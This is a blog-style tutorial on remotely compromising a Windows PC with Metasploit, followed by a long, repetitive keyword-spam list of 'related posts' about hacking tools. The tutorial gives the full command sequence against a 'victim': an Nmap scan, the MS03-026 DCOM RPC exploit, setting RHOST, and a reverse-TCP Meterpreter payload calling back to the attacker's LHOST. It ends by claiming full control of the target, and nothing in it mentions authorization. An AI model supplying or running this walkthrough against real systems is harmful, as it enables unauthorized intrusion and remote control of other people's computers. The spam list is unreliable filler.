HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.
  • Linux Machine (Kali Linux or BackTrack 5)
  • Metasploit (Built in the mentioned Linux OS)
  • Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.
  • Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
  • We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
  • After the initialization of msfconsole, standard checks, we will see the window like below.
  • Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
  • Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
  • As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
  • Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
  • Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
  • Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
  • Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
  • Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server.  To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

Related posts


  1. Usb Pentest Tools
  2. Hacking Tools Windows
  3. Pentest Tools Port Scanner
  4. Hack Apps
  5. Hacker Tools For Mac
  6. Pentest Tools Bluekeep
  7. Hacking Apps
  8. Hack Tool Apk No Root
  9. Hack Website Online Tool
  10. Tools For Hacker
  11. Hacker Tools Software
  12. Hacks And Tools
  13. Hack And Tools
  14. Beginner Hacker Tools
  15. Computer Hacker
  16. Hacker Tools Github
  17. Hacking Tools And Software
  18. New Hack Tools
  19. Hacking Tools Github
  20. Pentest Tools Find Subdomains
  21. Hacker Tools Mac
  22. Nsa Hack Tools Download
  23. Game Hacking
  24. Pentest Tools For Windows
  25. Bluetooth Hacking Tools Kali
  26. Pentest Tools Windows
  27. Hacking Tools For Beginners
  28. Hacker Tools For Pc
  29. Hacker Tools Apk Download
  30. What Are Hacking Tools
  31. Android Hack Tools Github
  32. Pentest Tools Open Source
  33. Hacker Tools For Ios
  34. Hacking Tools For Mac
  35. Hacking Tools For Mac
  36. Hacker Tool Kit
  37. How To Install Pentest Tools In Ubuntu
  38. Pentest Tools Alternative
  39. Hack Tools Download
  40. Black Hat Hacker Tools
  41. Pentest Recon Tools
  42. Hack Apps
  43. Hacking Tools For Mac
  44. Underground Hacker Sites
  45. What Is Hacking Tools
  46. Hacking Tools Software
  47. Hacker Tools For Mac
  48. Pentest Tools Free
  49. Hacking Tools Usb
  50. Android Hack Tools Github
  51. Hacker Tools Windows
  52. Hacking Apps
  53. World No 1 Hacker Software
  54. What Is Hacking Tools
  55. Hacking Tools Windows 10
  56. Hacker Tools Mac
  57. Pentest Recon Tools
  58. Pentest Tools Open Source
  59. Hack Tools For Games
  60. Hack Tools For Mac
  61. Free Pentest Tools For Windows
  62. Hack Tools For Mac
  63. Pentest Tools Github
  64. Hacker Tools Mac
  65. Hacking Tools Pc
  66. Pentest Tools
  67. Hack And Tools
  68. Hacking Tools And Software
  69. Hacker Tools Software
  70. Hacking Tools Mac
  71. Pentest Tools Port Scanner
  72. Hacking Tools And Software
  73. Hacker Tools Windows
  74. Pentest Tools Website Vulnerability
  75. Hacking Tools Usb
  76. World No 1 Hacker Software
  77. Hacker Tools Apk
  78. Pentest Reporting Tools
  79. Hacks And Tools
  80. Hacking Tools Usb
  81. Pentest Automation Tools
  82. Pentest Tools Tcp Port Scanner
  83. Hacking Tools Windows 10
  84. World No 1 Hacker Software
  85. Top Pentest Tools
  86. Best Pentesting Tools 2018
  87. Pentest Tools Alternative
  88. Wifi Hacker Tools For Windows
  89. Hack Tools For Games
  90. Hacking Tools For Windows Free Download
  91. Pentest Box Tools Download
  92. Hacker Tools Software
  93. Best Hacking Tools 2019
  94. Hacking Tools For Mac
  95. Nsa Hack Tools
  96. Pentest Tools Find Subdomains
  97. Pentest Tools Android
  98. Ethical Hacker Tools
  99. Hacks And Tools
  100. Hackers Toolbox
  101. Hacker Tools Github
  102. Hacking Tools For Windows Free Download
  103. Hacking Tools Software
  104. Hacker Tools
  105. Underground Hacker Sites
  106. Hacker Tools Free Download
  107. Pentest Tools Tcp Port Scanner
  108. Hacking Tools Free Download
  109. Hacking Tools Pc
  110. Pentest Tools For Ubuntu
  111. Hacking Tools For Windows Free Download
  112. Android Hack Tools Github
  113. Tools 4 Hack
  114. Kik Hack Tools
  115. Hacker Tools For Pc
  116. What Is Hacking Tools
  117. Hacking Tools Mac
  118. Hack Tool Apk
  119. Hacker Techniques Tools And Incident Handling
  120. Usb Pentest Tools
  121. Hacking Tools Kit
  122. New Hacker Tools
  123. Nsa Hack Tools Download
  124. Install Pentest Tools Ubuntu
  125. Pentest Tools Alternative
  126. Hacking Tools And Software
  127. World No 1 Hacker Software
  128. How To Make Hacking Tools
  129. Kik Hack Tools
  130. Hacking Apps
  131. Top Pentest Tools
  132. Hacker Tool Kit
  133. Hack Tools Download
  134. Tools 4 Hack
  135. Hack Rom Tools
  136. Hak5 Tools
  137. Best Hacking Tools 2020
  138. Pentest Tools Review
  139. Hacking Tools For Windows
  140. Black Hat Hacker Tools
  141. Usb Pentest Tools
  142. Tools 4 Hack
  143. Free Pentest Tools For Windows
  144. Pentest Tools Android
  145. Bluetooth Hacking Tools Kali
  146. Game Hacking
  147. Hacking Tools Windows 10
  148. Hacking Tools For Windows
  149. Hack Apps
  150. Hacker Security Tools
  151. Hacker Tools Apk
  152. Black Hat Hacker Tools
  153. Hacking Tools For Kali Linux
  154. Pentest Tools Framework
  155. Hacker Hardware Tools
  156. Hack Tools For Pc
  157. Hacker Tools For Ios
  158. Hacker Search Tools
  159. Hacking Tools
  160. Pentest Tools Kali Linux
  161. Hacker Tool Kit
  162. Hack And Tools
  163. Wifi Hacker Tools For Windows
  164. Pentest Tools Apk
  165. Pentest Tools Kali Linux
  166. Pentest Tools Subdomain
  167. Pentest Box Tools Download
  168. Nsa Hacker Tools
  169. Pentest Tools Framework
  170. Pentest Recon Tools
  171. Free Pentest Tools For Windows
  172. Computer Hacker
  173. How To Hack
  174. Pentest Tools
  175. Hacker Tools Software